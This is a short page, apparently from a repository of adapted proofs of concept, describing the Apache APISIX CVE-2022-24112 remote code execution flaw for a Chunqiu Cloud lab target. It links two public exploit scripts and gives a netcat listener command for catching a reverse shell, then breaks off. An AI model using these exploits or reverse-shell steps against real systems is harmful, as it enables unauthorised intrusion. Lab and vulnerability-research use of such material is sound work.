POC

Collected POCs

CVE-2022-24112

To set up the Chunqiu Cloud Environment: CVE-2022-24112 target environment, two POCs were modified, slightly adapted from the POCs of M4xSec and twseptian for the Chunqiu Cloud Environment:

---

Chunqiu Cloud Environment: CVE-2022-24112:

Apache APISIX is a cloud-native microservices API gateway under the Apache Software Foundation. It is implemented based on OpenResty and etcd, featuring dynamic routing and hot-reloading of plugins, suitable for API management in microservice architectures. There is a remote code execution vulnerability in Apache APISIX, which stems from the batch-requests plugin not effectively restricting user batch requests. Attackers can bypass the IP restriction of the Admin API through this vulnerability, easily leading to remote code execution.

---

Original POCs:

1. M4xSec: https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112/blob/main/apisix-exploit.py

2. twseptian: https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

The modified POCs are the two written above, designed for Linux and Windows usage environments respectively:

---

CVE-2022-24112_Linux_by_twseptian.py

1. Start listener on VPS: nc -lvvp 18888

2. Enter the POC directory and run:

   Note: When adding data with -t, do not include http:// or , only the domain name and port, as shown below: